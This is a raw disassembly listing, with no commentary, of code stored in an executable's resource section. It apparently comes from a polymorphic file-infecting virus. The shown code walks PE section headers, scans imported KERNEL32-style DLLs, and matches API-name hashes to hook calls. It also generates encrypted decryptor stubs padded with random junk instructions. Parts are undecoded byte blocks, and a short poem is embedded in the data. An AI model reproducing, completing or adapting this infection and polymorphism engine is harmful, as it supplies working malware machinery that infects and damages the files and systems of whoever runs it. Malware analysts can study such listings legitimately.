		dd 5295FF52h, 8500103Fh, 0D7559C0h, 138868h, 0E695FF00h
		dd 0EB00103Eh, 77BD83E2h, 101Eh, 858D2975h, 101E7Bh, 3E95FF50h
		dd 8500103Fh, 89840FC0h, 8B000001h, 8B0C40h, 858F30FFh
		dd 101E77h, 418385C6h, 6A010010h, 6A016A00h, 4A95FF02h
		dd 8300103Fh, 840FFFF8h, 160h, 73958D93h, 6A00101Eh, 0FF535210h
		dd 103F3A95h, 0FC08500h, 14085h, 94BD8D00h, 0B100101Eh
		dd 0FA3CE808h, 9468FFFFh, 5E000000h, 3489E62Bh,	95FF5424h
		dd 103EBEh, 1EA2BD8Dh, 1B10010h, 0FFFA1DE8h, 8F958DFFh
		dd 6A00101Eh, 146800h, 53520000h, 3F4695FFh, 448D0010h
		dd 958D1424h, 104324h, 0AB60F50h, 1424448Bh, 208E0C1h
		dd 4A12014Ah, 34A1202h,	824440Bh, 0C10FE180h, 0B5108E0h
		dd 0FF102444h, 0BD8D5032h, 103F84h, 1CE8h, 362E2500h, 202E2078h
		dd 253A202Eh, 382E2525h, 20782578h, 4A0A7325h, 204E494Fh
		dd 95FF5700h, 103E76h, 0ACC481h, 6A0000h, 0FF535750h, 103F4695h
		dd 988D8B00h, 6A001015h, 6B1BE300h, 0E8510DC9h,	5, 0A642526h
		dd 95FF5700h, 103E76h, 500CC483h, 7680BEBh, 8D000000h
		dd 101EA8BDh, 0FF535700h, 103F4695h, 7EC08500h,	84B58D54h
		dd 8300103Fh, 101598A5h, 8D8D0000h, 104183h, 6ACE2Bh, 0FF535651h
		dd 103F4295h, 0F88300h,	8B912F7Eh, 84B58DFEh, 0B000103Fh
		dd 75AEF20Dh, 2AE86010h, 61FFFFFAh, 9E31772h, 0EB01778Dh
		dd 2BCF8BEAh, 84BD8DCEh, 0F300103Fh, 0EBF787A4h, 95FF53B9h
		dd 103F36h, 157FBD80h, 74010010h, 7530682Ah, 95FF0000h
		dd 103EE6h, 4183BD80h, 74000010h, 7785C711h, 101Eh, 0C6000000h
		dd 10418385h, 8E90000h,	0C7FFFFFEh, 10158885h, 0
		dd 4C25D80h, 4F0A0D00h,	6F6F6E20h, 666F206Eh, 66696C20h
		dd 4F202165h, 6D697420h, 6F742065h, 6C656320h, 61726265h
		dd 0D216574h, 2020200Ah, 204F2020h, 6D6D7573h, 67207265h
		dd 65647261h, 0A0D216Eh, 656C6552h, 656C746Eh, 796C7373h
		dd 70616820h, 61207970h, 6520646Eh, 63657078h, 746E6174h
		dd 7473202Ch, 69646E61h, 203A676Eh, 570A0D2Dh, 68637461h
		dd 20676E69h, 206C6C61h, 20796164h, 20646E61h, 6867696Eh
		dd 66202C74h, 6620726Fh, 6E656972h, 49207364h, 69617720h
		dd 0A0D3A74h, 72656857h, 72612065h, 6F792065h, 66202C75h
		dd 6E656972h, 203F7364h, 656D6F43h, 74492021h, 20736920h
		dd 656D6974h, 74492021h, 6C207327h, 21657461h, 4CA2A1A8h
		dd 7F95D1CAh, 10A61429h, 3AAB5957h, 27B1FAE5h, 10A61413h
		dd 38D82DBDh, 19h dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_42B414	proc near		; CODE XREF: sub_42B4CA:loc_42B4B8p
					; sub_42B51B+7p ...

arg_0		= dword	ptr  4

		pusha
		and	dword ptr [ebp+1042F4h], 0
		and	dword ptr [ebp+1042F8h], 0
		movzx	eax, word ptr [ebx+14h]
		lea	edx, [ebx+18h]
		movzx	ecx, word ptr [ebx+6]
		add	edx, eax


loc_42B430:				; CODE XREF: sub_42B414+41j
		mov	eax, [esp+20h+arg_0]
		sub	eax, [edx+0Ch]
		jb	short loc_42B452
		cmp	eax, [edx+8]
		jnb	short loc_42B452
		mov	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	[ebp+1042F4h], edx
		mov	[ebp+1042F8h], eax
		jmp	short loc_42B457
; ---------------------------------------------------------------------------


loc_42B452:				; CODE XREF: sub_42B414+23j
					; sub_42B414+28j
		add	edx, 28h
		loop	loc_42B430


loc_42B457:				; CODE XREF: sub_42B414+3Cj
		popa
		retn	4
sub_42B414	endp

; ---------------------------------------------------------------------------
		mov	[ebp+102467h], al
		call	sub_42B4CA
		push	20h
		lea	eax, [ebp+102394h]
		pop	ecx


loc_42B472:				; CODE XREF: .rsrc:0042B479j
		cmp	[eax], ebx
		jz	short loc_42B482
		add	eax, 4
		loop	loc_42B472
		inc	dword ptr [ebp+1042D0h]
		retn
; ---------------------------------------------------------------------------


loc_42B482:				; CODE XREF: .rsrc:0042B474j
		neg	ecx
		add	ecx, [ebp+102467h]
		jecxz	short loc_42B49C


loc_42B48C:				; CODE XREF: .rsrc:0042B494j
		push	dword ptr [eax-4]
		pop	dword ptr [eax]
		sub	eax, 4
		loop	loc_42B48C
		mov	[ebp+102394h], ebx
; START	OF FUNCTION CHUNK FOR sub_42B4CA


loc_42B49C:				; CODE XREF: .rsrc:0042B48Aj
					; sub_42B4CA+34j
		cmp	dword ptr [edx], 0
		jz	short loc_42B4A6
		sub	esi, [edx]
		add	esi, [edx+10h]


loc_42B4A6:				; CODE XREF: sub_42B4CA-2Bj
		lea	ecx, [esi-4]
		pop	eax
		pop	ebx
		pop	esi
		cmp	dword ptr [edx], 0
		jz	short loc_42B4B5
		push	dword ptr [edx]
		jmp	short loc_42B4B8
; ---------------------------------------------------------------------------


loc_42B4B5:				; CODE XREF: sub_42B4CA-1Bj
		push	dword ptr [edx+10h]


loc_42B4B8:				; CODE XREF: sub_42B4CA-17j
		call	sub_42B414
		sub	ecx, esi
		sub	ecx, [ebp+1042F8h]
		pop	eax
		add	ecx, [ebx+34h]
		retn
; END OF FUNCTION CHUNK	FOR sub_42B4CA

; =============== S U B	R O U T	I N E =======================================



sub_42B4CA	proc near		; CODE XREF: .rsrc:0042B461p

; FUNCTION CHUNK AT 0042B49C SIZE 0000002E BYTES

		pop	dword ptr [ebp+1042D4h]
		mov	dword ptr [ebp+1042D0h], 0
		call	sub_42B51B
		mov	eax, [ebp+1042D0h]
		call	near ptr dword_42AB50+43h
		call	sub_42B507
		cmp	dword ptr [ebp+1042D0h], 0
		jnz	short loc_42B500
		mov	[ebp+102410h], ebx
		jmp	short loc_42B49C
; ---------------------------------------------------------------------------


loc_42B500:				; CODE XREF: sub_42B4CA+2Cj
		dec	dword ptr [ebp+1042D0h]
		retn
sub_42B4CA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42B507	proc near		; CODE XREF: sub_42B4CA+20p
		pop	dword ptr [ebp+1042D4h]
		mov	[ebp+1042D0h], edx
		call	sub_42B51B
		xor	ecx, ecx
		retn
sub_42B507	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42B51B	proc near		; CODE XREF: sub_42B4CA+10p
					; sub_42B507+Cp ...

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	edx, [ebx+80h]
		push	edx
		call	sub_42B414
		add	edx, [ebp+1042F8h]
		add	edx, esi


loc_42B52F:				; CODE XREF: sub_42B51B+120j
		cmp	dword ptr [edx+0Ch], 0
		jz	locret_42B640
		cmp	dword ptr [edx+10h], 0
		jz	locret_42B640
		mov	eax, [edx+0Ch]
		push	eax
		call	sub_42B414
		add	eax, [ebp+1042F8h]
		add	eax, esi
		push	eax


loc_42B555:				; CODE XREF: sub_42B51B+47j
		mov	cl, [eax]
		cmp	cl, 0
		jz	short loc_42B575
		cmp	cl, 2Eh
		jz	short loc_42B564


loc_42B561:				; CODE XREF: sub_42B51B+58j
		inc	eax
		jmp	short loc_42B555
; ---------------------------------------------------------------------------


loc_42B564:				; CODE XREF: sub_42B51B+44j
		mov	ecx, [eax+1]
		and	ecx, 0DFDFDFDFh
		cmp	ecx, 4C4C44h
		jnz	short loc_42B561


loc_42B575:				; CODE XREF: sub_42B51B+3Fj
		pop	ecx
		sub	ecx, eax
		cmp	ecx, 0FFFFFFFAh
		jg	loc_42B638
		cmp	word ptr [eax-2], 3233h
		jnz	loc_42B638
		push	esi
		cmp	dword ptr [edx], 0
		jnz	short loc_42B598
		mov	ecx, [edx+10h]
		jmp	short loc_42B59A
; ---------------------------------------------------------------------------


loc_42B598:				; CODE XREF: sub_42B51B+76j
		mov	ecx, [edx]


loc_42B59A:				; CODE XREF: sub_42B51B+7Bj
		add	esi, ecx
		push	ecx
		call	sub_42B414
		add	esi, [ebp+1042F8h]


loc_42B5A8:				; CODE XREF: sub_42B51B+90j
					; sub_42B51B+117j
		lodsd
		test	eax, eax
		js	short loc_42B5A8
		jz	loc_42B637
		push	dword ptr [ebp+1042F8h]
		push	eax
		call	sub_42B414
		add	eax, [ebp+1042F8h]
		pop	dword ptr [ebp+1042F8h]
		add	eax, [esp+4+var_4]
		push	ebx
		add	eax, 2
		xor	ebx, ebx


loc_42B5D4:				; CODE XREF: sub_42B51B+CEj
		movzx	ecx, byte ptr [eax]
		jecxz	short loc_42B5EB
		or	cl, 20h
		push	ebx
		shl	[esp+0Ch+var_C], 4
		sub	[esp+0Ch+var_C], ebx
		sub	[esp+0Ch+var_C], ecx
		pop	ebx
		inc	eax
		jmp	short loc_42B5D4
; ---------------------------------------------------------------------------


loc_42B5EB:				; CODE XREF: sub_42B51B+BCj
		cmp	ebx, 0DDBBD70Fh
		jz	short loc_42B631
		cmp	ebx, 0DB6E45A8h
		jz	short loc_42B631
		cmp	ebx, 0FFA13B59h
		jz	short loc_42B631
		cmp	ebx, 0ACB522D6h
		jz	short loc_42B631
		cmp	ebx, 0F358E993h
		jz	short loc_42B631
		cmp	ebx, 0F358E97Dh
		jz	short loc_42B631
		cmp	ebx, 0E1253F46h
		jz	short loc_42B631
		cmp	ebx, 0E1253F30h
		jz	short loc_42B631
		call	dword ptr [ebp+1042D4h]


loc_42B631:				; CODE XREF: sub_42B51B+D6j
					; sub_42B51B+DEj ...
		pop	ebx
		jmp	loc_42B5A8
; ---------------------------------------------------------------------------


loc_42B637:				; CODE XREF: sub_42B51B+92j
		pop	esi


loc_42B638:				; CODE XREF: sub_42B51B+60j
					; sub_42B51B+6Cj
		add	edx, 14h
		jmp	loc_42B52F
; ---------------------------------------------------------------------------

locret_42B640:				; CODE XREF: sub_42B51B+18j
					; sub_42B51B+22j
		retn
sub_42B51B	endp

; ---------------------------------------------------------------------------
		db 3, 6Ah, 4
		dd 0F549E858h, 9588FFFFh, 102641h, 1831B866h, 0E4C0E202h
		dd 66E20203h, 58066AABh, 0FFF52EE8h, 8C283FFh, 56AD187h
		dd 0F521E858h, 0FA80FFFFh, 0B00B7303h, 41850250h, 0AA001026h
		dd 686A27EBh, 0FA80AA58h, 0B0187503h, 0F501E811h, 1B8FFFFh
		dd 84000000h, 0D10D74D2h, 0EBCAFEE0h, 0B805EBF6h, 80000000h
		dd 0C3BFE2ABh, 39CC958Dh, 0D72B0010h, 0F7C3DAF7h, 1039C085h
		dd 0
; ---------------------------------------------------------------------------
		adc	[edi], cl
		xchg	eax, ebp
		rol	cl, 0E0h
		or	esi, esi
		test	[esi+1001039h],	edi
		jnz	short loc_42B6D6
		or	ax, 2589h
		jmp	short loc_42B6E9
; ---------------------------------------------------------------------------


loc_42B6D6:				; CODE XREF: .rsrc:0042B6CEj
		test	byte ptr [ebp+1039BEh],	2
		jnz	short loc_42B6E5
		or	ax, 2531h
		jmp	short loc_42B6E9
; ---------------------------------------------------------------------------


loc_42B6E5:				; CODE XREF: .rsrc:0042B6DDj
		or	ax, 2501h


loc_42B6E9:				; CODE XREF: .rsrc:0042B6D4j
					; .rsrc:0042B6E3j
		stosw
		call	near ptr dword_42B644+68h
		mov	eax, [ebx+34h]
		mov	[ebp+1042E8h], edx
		stosd
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42B6FB	proc near		; CODE XREF: .rsrc:0042BD47p
		test	dword ptr [ebp+1039C0h], 10000000h
		setnz	al
		add	al, 0BCh
		stosb
		call	near ptr dword_42B644+68h
		mov	[ebp+1042ECh], edx
		test	byte ptr [ebp+1039BEh],	1
		jnz	short loc_42B723
		rdtsc
		jmp	short loc_42B725
; ---------------------------------------------------------------------------


loc_42B723:				; CODE XREF: sub_42B6FB+22j
		sub	eax, eax


loc_42B725:				; CODE XREF: sub_42B6FB+26j
		stosd
		retn
sub_42B6FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_42B727	proc near		; CODE XREF: .rsrc:loc_42BD51p
		test	dword ptr [ebp+1039C0h], 10000000h
		jz	short loc_42B75A
		mov	al, [ebp+1039BAh]
		shl	eax, 0Bh
		or	ax, 458Bh
		stosw
		mov	al, 0F8h
		stosb
		mov	al, [ebp+1039BAh]
		shl	eax, 1Bh
		add	eax, 6896467h
		stosd
		xor	eax, eax
		stosw
		jmp	short locret_42B76C
; ---------------------------------------------------------------------------


loc_42B75A:				; CODE XREF: sub_42B727+Aj
		mov	eax, 58F64h
		stosd
		mov	al, [ebp+1039BAh]
		add	al, 58h
		shl	eax, 18h
		stosd

locret_42B76C:				; CODE XREF: sub_42B727+31j
		retn
sub_42B727	endp


; =============== S U B	R O U T	I N E =======================================



sub_42B76D	proc near		; CODE XREF: sub_42B7DF:loc_42B806p
					; sub_42B7DF+4Cp ...
		mov	byte ptr [ebp+10279Ch],	9
		jmp	short loc_42B79B
; ---------------------------------------------------------------------------


loc_42B776:				; CODE XREF: sub_42B76D+44j
		mov	al, 0FCh
		jmp	short loc_42B79A
; ---------------------------------------------------------------------------


loc_42B77A:				; CODE XREF: sub_42B76D+48j
		mov	ax, 0EBh
		stosw
		jmp	short loc_42B79B
; ---------------------------------------------------------------------------


loc_42B782:				; CODE XREF: sub_42B76D+4Cj
		push	4
		pop	eax
		call	near ptr dword_42AB50+43h
		lea	eax, [edx+edx*8]
		shl	eax, 8
		add	ax, 0C089h
		stosw
		jmp	short loc_42B79B
; ---------------------------------------------------------------------------


loc_42B798:				; CODE XREF: sub_42B76D+50j
		mov	al, 90h


loc_42B79A:				; CODE XREF: sub_42B76D+Bj
					; sub_42B76D+60j ...
		stosb


loc_42B79B:				; CODE XREF: sub_42B76D+7j
					; sub_42B76D+13j ...
		push	15h
		pop	eax
		call	near ptr dword_42AB50+43h
		add	byte ptr [ebp+10279Ch],	6
		cmp	dl, 8
		jnb	short locret_42B7DE
		test	dl, dl
		jz	short loc_42B776
		dec	dl
		jz	short loc_42B77A
		dec	dl
		jz	short loc_42B782
		dec	dl
		jz	short loc_42B798
		dec	dl
		jz	short loc_42B7CF
		dec	dl
		jz	short loc_42B7D6
		dec	dl
		jz	short loc_42B7DA
		mov	al, 0F9h
		jmp	short loc_42B79A
; ---------------------------------------------------------------------------


loc_42B7CF:				; CODE XREF: sub_42B76D+54j
		mov	al, 87h
		stosb
		mov	al, 0DBh
		jmp	short loc_42B79A
; ---------------------------------------------------------------------------


loc_42B7D6:				; CODE XREF: sub_42B76D+58j
		mov	al, 0F5h
		jmp	short loc_42B79A
; ---------------------------------------------------------------------------


loc_42B7DA:				; CODE XREF: sub_42B76D+5Cj
		mov	al, 0F8h
		jmp	short loc_42B79A
; ---------------------------------------------------------------------------

locret_42B7DE:				; CODE XREF: sub_42B76D+40j
		retn
sub_42B76D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42B7DF	proc near		; CODE XREF: .rsrc:loc_42BC28p
					; .rsrc:0042BDDBp
		test	dword ptr [ebp+1039C0h], 2000h
		mov	al, 86h
		jnz	short loc_42B7EF
		add	al, 4


loc_42B7EF:				; CODE XREF: sub_42B7DF+Cj
		lea	ecx, [edi-2]
		mov	ah, [ebp+1039B8h]
		stosw
		cmp	ah, 5
		jnz	short loc_42B806
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb


loc_42B806:				; CODE XREF: sub_42B7DF+1Ej
		call	sub_42B76D
		test	dword ptr [ebp+1039C0h], 4000h
		mov	ax, 3166h
		jnz	short loc_42B81D
		mov	ah, 29h


loc_42B81D:				; CODE XREF: sub_42B7DF+3Aj
		stosw
		mov	al, 18h
		or	al, [ebp+1039BAh]
		shl	al, 3
		stosb
		call	sub_42B76D
		mov	al, 88h
		test	dword ptr [ebp+1039C0h], 8000h
		jnz	short loc_42B840
		mov	al, 86h


loc_42B840:				; CODE XREF: sub_42B7DF+5Dj
		mov	ah, [ebp+1039B8h]
		stosw
		cmp	ah, 5
		jnz	short locret_42B854
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb

locret_42B854:				; CODE XREF: sub_42B7DF+6Cj
		retn
sub_42B7DF	endp

; ---------------------------------------------------------------------------


loc_42B855:				; CODE XREF: sub_42C45B+183p
		lea	edi, [ebp+1039CCh]
		call	sub_42B76D
		test	dword ptr [ebp+1039C0h], 400000h
		jz	short near ptr unk_42B86F
		mov	al, 60h
		stosb
; ---------------------------------------------------------------------------
unk_42B86F	db 0F7h	; ÷		; CODE XREF: .rsrc:0042B86Aj
		db  85h	; …
		db 0C0h	; À
		db  39h	; 9
		db  10h
		db    0
		db    0
		db    0
		db    0
; ---------------------------------------------------------------------------
		adc	[edi+eax-48h], dh
		push	ebp
		mov	ebp, esp
		add	[ebx-3F7A08B1h], ch
		cmp	[eax], edx
		add	[ebx], al
; ---------------------------------------------------------------------------
		db 2 dup(0), 2
		dd 0F0840Fh, 0E8B00000h, 0BD89ABAAh, 1042D8h, 0FFFECCE8h
		dd 0AAE8B0FFh, 0DCBD89ABh, 0E8001042h, 0FFFFFEBDh, 39C085F7h
		dd 30010h, 1A740000h, 39C085F7h, 10h, 0A740200h, 0FFFE2EE8h
		dd 0FE9BE8FFh, 0E9B0FFFFh, 858BABAAh, 1042D8h, 0C82BCF8Bh
		dd 42E0BD89h, 48890010h, 6467B8FCh, 33AB36FFh, 0F7AB66C0h
		dd 1039C085h, 300h, 0F6137400h,	1039BE85h, 0A748000h, 0FFFDAAE8h
		dd 0FE5BE8FFh, 67B8FFFFh, 0AB268964h, 0AB66C033h, 39C085F7h
		dd 30010h, 5A740000h, 39BE85F6h, 75800010h, 0FD81E80Ah
		dd 32E8FFFFh, 0E8FFFFFEh, 0FFFFFD02h, 14E820B0h, 0E3FFFFFBh
		dd 0FFB86639h, 91AB6615h, 0C0958BABh, 0F7001039h, 3C2F7D2h
		dd 75000000h, 0FCDCE814h, 1FB0FFFFh, 0FFFAEEE8h, 0FFB866FFh
		dd 91AB6615h, 8BCF8BABh, 1042E085h, 89C82B00h, 85F7FC48h
		dd 1039C0h, 3, 85F73874h, 1039C0h, 0C000000h, 85F72C74h
		dd 1039C0h, 2000000h, 0C2E80A75h, 0E8FFFFFDh, 0FFFFFD4Bh
		dd 39C085F7h, 10h, 0A740800h, 0FFFDACE8h, 0FD61E8FFh, 85F7FFFFh
		dd 1039C0h, 4, 96E81774h, 0B8FFFFFDh, 0C8FEC029h, 0C008B8ABh
		dd 0B8AB0474h, 67EBF875h, 0FD7FE8ABh, 85F7FFFFh, 1039C0h
		dd 8, 0BD807275h, 1039BEh, 0E8697400h, 0FFFFFD65h, 291829B8h
		dd 0BAA50AC9h, 0C0001039h, 0A50A03E4h, 1039BAh,	0FD4BE8ABh
		dd 0B1B0FFFFh, 0BE858AAAh, 0AA001039h, 0FFFD3CE8h, 85B60FFFh
		dd 1039BAh, 4C0048Dh, 8E0C140h,	0AB668DB0h, 57AA01B0h
		dd 0FFFD20E8h, 243C29FFh, 0FBE2B866h, 0C085F759h, 10001039h
		dd 74000000h, 0AA49B007h, 0FA75B866h, 0AB66E102h, 0FFFCFCE8h
		dd 0AAE8B0FFh, 89ABC033h, 1042C4BDh, 0C085F700h, 20001039h
		dd 75000000h, 0DEE8573Bh, 0F7FFFFFCh, 1039C085h, 0
		dd 89187480h, 1042F0BDh, 0FD39E800h, 0C2E8FFFFh, 0B0FFFFFCh
		dd 0BAE8AAC3h, 5AFFFFFCh, 58B0CF8Bh, 850ACA2Bh,	1039B8h
		dd 0AAFC4A89h, 0FFFCA4E8h, 81B866FFh, 0C085F7C0h, 40001039h
		dd 74000000h, 28C48003h, 39B8A50Ah, 0AB660010h,	42C8BD89h
		dd 0F7AB0010h, 1039C085h, 0
; ---------------------------------------------------------------------------
		inc	eax
		jnz	short loc_42BB00
		mov	al, 50h
		add	al, [ebp+1039B8h]
		stosb


loc_42BB00:				; CODE XREF: .rsrc:0042BAF5j
		test	dword ptr [ebp+1039C0h], 80h
		jnz	short loc_42BB17
		mov	al, 0B8h
		or	al, [ebp+1039B9h]
		stosb
		jmp	short loc_42BB54
; ---------------------------------------------------------------------------


loc_42BB17:				; CODE XREF: .rsrc:0042BB0Aj
		mov	ax, 1831h
		test	dword ptr [ebp+1039C0h], 100h
		jz	short loc_42BB29
		mov	al, 29h


loc_42BB29:				; CODE XREF: .rsrc:0042BB25j
		or	ah, [ebp+1039B9h]
		shl	ah, 3
		or	ah, [ebp+1039B9h]
		stosw
		mov	ax, 0F081h
		test	dword ptr [ebp+1039C0h], 200h
		jnz	short loc_42BB4C
		mov	ah, 0C8h


loc_42BB4C:				; CODE XREF: .rsrc:0042BB48j
		or	ah, [ebp+1039B9h]
		stosw


loc_42BB54:				; CODE XREF: .rsrc:0042BB15j
		mov	[ebp+1042E4h], edi
		mov	eax, 29CCh
		stosd
		test	dword ptr [ebp+1039C0h], 8
		jz	short loc_42BBDD
		call	sub_42B76D
		test	dword ptr [ebp+1039C0h], 400h
		jnz	short loc_42BB88
		mov	al, 0B8h
		or	al, [ebp+1039BAh]
		stosb
		jmp	short loc_42BBD5
; ---------------------------------------------------------------------------


loc_42BB88:				; CODE XREF: .rsrc:0042BB7Bj
		test	dword ptr [ebp+1039C0h], 800h
		jnz	short loc_42BBA5
		mov	ax, 0E083h
		or	ah, [ebp+1039BAh]
		stosw
		xor	eax, eax
		stosb
		jmp	short loc_42BBBA
; ---------------------------------------------------------------------------


loc_42BBA5:				; CODE XREF: .rsrc:0042BB92j
		mov	ax, 1829h
		or	ah, [ebp+1039BAh]
		shl	ah, 3
		or	ah, [ebp+1039BAh]
		stosw


loc_42BBBA:				; CODE XREF: .rsrc:0042BBA3j
		test	dword ptr [ebp+1039C0h], 1000h
		mov	ax, 0C081h
		jz	short loc_42BBCD
		add	ah, 8


loc_42BBCD:				; CODE XREF: .rsrc:0042BBC8j
		or	ah, [ebp+1039BAh]
		stosw


loc_42BBD5:				; CODE XREF: .rsrc:0042BB86j
		movzx	eax, byte ptr [ebp+1039BEh]
		stosd


loc_42BBDD:				; CODE XREF: .rsrc:0042BB6Aj
		call	sub_42B76D
		test	dword ptr [ebp+1039C0h], 40000000h
		jz	short loc_42BBFC
		mov	al, 50h
		add	al, [ebp+1039B8h]
		stosb
		call	sub_42B76D


loc_42BBFC:				; CODE XREF: .rsrc:0042BBECj
		lea	ecx, [edi-2]
		mov	[ebp+1042CCh], ecx
		test	dword ptr [ebp+1039C0h], 80000000h
		jz	short loc_42BC28
		mov	al, 0E8h
		stosb
		mov	eax, [ebp+1042F0h]
		sub	eax, edi
		sub	eax, 4
		stosd
		mov	[ebp+1042F0h], edi
		jmp	short loc_42BC2D
; ---------------------------------------------------------------------------


loc_42BC28:				; CODE XREF: .rsrc:0042BC0Fj
		call	sub_42B7DF


loc_42BC2D:				; CODE XREF: .rsrc:0042BC26j
		call	sub_42B76D
		test	dword ptr [ebp+1039C0h], 10000h
		jnz	short loc_42BC49
		mov	al, 40h
		or	al, [ebp+1039B8h]
		stosb
		jmp	short loc_42BC58
; ---------------------------------------------------------------------------


loc_42BC49:				; CODE XREF: .rsrc:0042BC3Cj
		mov	ax, 0C083h
		or	ah, [ebp+1039B8h]
		stosw
		mov	al, 1
		stosb


loc_42BC58:				; CODE XREF: .rsrc:0042BC47j
		test	dword ptr [ebp+1039C0h], 20000h
		jnz	short loc_42BC93
		test	dword ptr [ebp+1039C0h], 40000h
		jnz	short loc_42BC8A
		mov	al, 0C0h
		or	al, [ebp+1039BAh]
		mov	ah, [ebp+1039BFh]
		shl	eax, 10h
		mov	ax, 8166h
		stosd
		mov	al, 0
		jmp	short loc_42BC92
; ---------------------------------------------------------------------------


loc_42BC8A:				; CODE XREF: .rsrc:0042BC6Ej
		mov	al, 40h
		or	al, [ebp+1039BAh]


loc_42BC92:				; CODE XREF: .rsrc:0042BC88j
		stosb


loc_42BC93:				; CODE XREF: .rsrc:0042BC62j
		test	dword ptr [ebp+1039C0h], 80000h
		jnz	short loc_42BCAF
		mov	ax, 0E883h
		or	ah, [ebp+1039B9h]
		stosw
		mov	al, 1
		jmp	short loc_42BCB7
; ---------------------------------------------------------------------------


loc_42BCAF:				; CODE XREF: .rsrc:0042BC9Dj
		mov	al, 48h
		or	al, [ebp+1039B9h]


loc_42BCB7:				; CODE XREF: .rsrc:0042BCADj
		stosb
		call	sub_42B76D
		test	dword ptr [ebp+1039C0h], 100000h
		mov	cl, 75h
		jnz	short loc_42BCF0
		mov	ax, 0F883h
		or	ah, [ebp+1039B9h]
		stosw
		xor	eax, eax
		stosb
		sub	[ebp+1042CCh], edi
		test	dword ptr [ebp+1039C0h], 200000h
		jnz	short loc_42BD0B
		mov	cl, 77h
		jmp	short loc_42BD0B
; ---------------------------------------------------------------------------


loc_42BCF0:				; CODE XREF: .rsrc:0042BCC9j
		mov	ax, 1809h
		or	ah, [ebp+1039B9h]
		shl	ah, 3
		or	ah, [ebp+1039B9h]
		stosw
		sub	[ebp+1042CCh], edi


loc_42BD0B:				; CODE XREF: .rsrc:0042BCEAj
					; .rsrc:0042BCEEj
		mov	al, cl
		mov	ah, [ebp+1042CCh]
		stosw
		mov	al, 58h
		add	al, [ebp+1039B8h]
		stosb
		call	sub_42B76D
		test	dword ptr [ebp+1039C0h], 2000003h
		jz	short loc_42BD5B
		test	dword ptr [ebp+1039C0h], 8000000h
		jnz	short loc_42BD5B
		test	dword ptr [ebp+1039C0h], 6000000h
		jnz	short loc_42BD51
		call	sub_42B6FB
		call	sub_42B76D


loc_42BD51:				; CODE XREF: .rsrc:0042BD45j
		call	sub_42B727
		call	sub_42B76D


loc_42BD5B:				; CODE XREF: .rsrc:0042BD2Dj
					; .rsrc:0042BD39j
		test	dword ptr [ebp+1039C0h], 10000000h
		jz	short loc_42BD6F
		mov	al, 0C9h
		stosb
		call	sub_42B76D


loc_42BD6F:				; CODE XREF: .rsrc:0042BD65j
		test	dword ptr [ebp+1039C0h], 400000h
		jz	short loc_42BDA5
		mov	al, 7
		sub	al, [ebp+1039B8h]
		shl	eax, 1Ah
		or	eax, 240889h
		add	ah, [ebp+1039B8h]
		shl	ah, 3
		add	ah, 4
		stosd
		call	sub_42B76D
		mov	al, 61h
		stosb
		call	sub_42B76D


loc_42BDA5:				; CODE XREF: .rsrc:0042BD79j
		mov	ax, 0E0FFh
		or	ah, [ebp+1039B8h]
		stosw
		call	sub_42B76D
		test	dword ptr [ebp+1039C0h], 20h
		jz	short loc_42BE31
		test	dword ptr [ebp+1039C0h], 80000000h
		jz	short loc_42BDED
		mov	eax, edi
		mov	ecx, [ebp+1042F0h]
		sub	eax, ecx
		mov	[ecx-4], eax
		call	sub_42B7DF
		call	sub_42B76D
		mov	al, 0C3h
		stosb
		call	sub_42B76D


loc_42BDED:				; CODE XREF: .rsrc:0042BDCCj
		mov	eax, edi
		mov	ecx, [ebp+1042C4h]
		sub	eax, ecx
		mov	[ecx-4], eax
		mov	al, 58h
		or	al, [ebp+1039B8h]
		stosb
		call	sub_42B76D
		test	dword ptr [ebp+1039C0h], 800000h
		jz	short loc_42BE20
		mov	ax, 0C350h
		or	al, [ebp+1039B8h]
		jmp	short loc_42BE2A
; ---------------------------------------------------------------------------


loc_42BE20:				; CODE XREF: .rsrc:0042BE12j
		mov	ax, 0E0FFh
		or	ah, [ebp+1039B8h]


loc_42BE2A:				; CODE XREF: .rsrc:0042BE1Ej
		stosw
		call	sub_42B76D


loc_42BE31:				; CODE XREF: .rsrc:0042BDC0j
		test	dword ptr [ebp+1039C0h], 2000003h
		jz	short loc_42BE9C
		mov	ecx, edi
		mov	eax, [ebp+1042DCh]
		sub	ecx, eax
		mov	[eax-4], ecx
		xor	ecx, ecx
		test	dword ptr [ebp+1039C0h], 1000000h
		jnz	short loc_42BE66
		lea	eax, [ebp+1039B8h]


loc_42BE5E:				; CODE XREF: .rsrc:0042BE64j
		mov	cl, [eax]
		inc	eax
		cmp	cl, 3
		jnb	short loc_42BE5E


loc_42BE66:				; CODE XREF: .rsrc:0042BE56j
		lea	eax, ds:102444h[ecx*8]
		shl	eax, 8
		mov	al, 8Bh
		stosd
		jecxz	short loc_42BE7B
		mov	ax, 0C031h
		stosw


loc_42BE7B:				; CODE XREF: .rsrc:0042BE73j
		mov	ax, 808Fh
		push	0B8h
		add	ah, cl
		stosw
		pop	eax
		stosd
		test	ecx, ecx
		jnz	short loc_42BE94
		mov	ax, 0C031h
		stosw


loc_42BE94:				; CODE XREF: .rsrc:0042BE8Cj
		mov	al, 0C3h
		stosb
		call	sub_42B76D


loc_42BE9C:				; CODE XREF: .rsrc:0042BE3Bj
		lea	eax, [ebp+1039CCh]
		test	dword ptr [ebp+1039C0h], 20000000h
		jnz	short loc_42BEB4
		push	edi
		sub	edi, eax
		pop	eax
		jmp	short loc_42BECD
; ---------------------------------------------------------------------------


loc_42BEB4:				; CODE XREF: .rsrc:0042BEACj
		mov	edx, [ebx+28h]
		sub	edi, eax
		sub	edx, eax
		mov	ecx, [ebp+1042E4h]
		add	[ebp+1042C4h], edx
		add	[ecx], edi
		mov	eax, [esp+4]


loc_42BECD:				; CODE XREF: .rsrc:0042BEB2j
		mov	[ebp+101069h], edi
		mov	edi, [ebp+1042C8h]
		sub	eax, [ebp+1042C4h]
		test	dword ptr [ebp+1039C0h], 40h
		jz	short loc_42BEED
		neg	eax


loc_42BEED:				; CODE XREF: .rsrc:0042BEE9j
		stosd
		retn	4

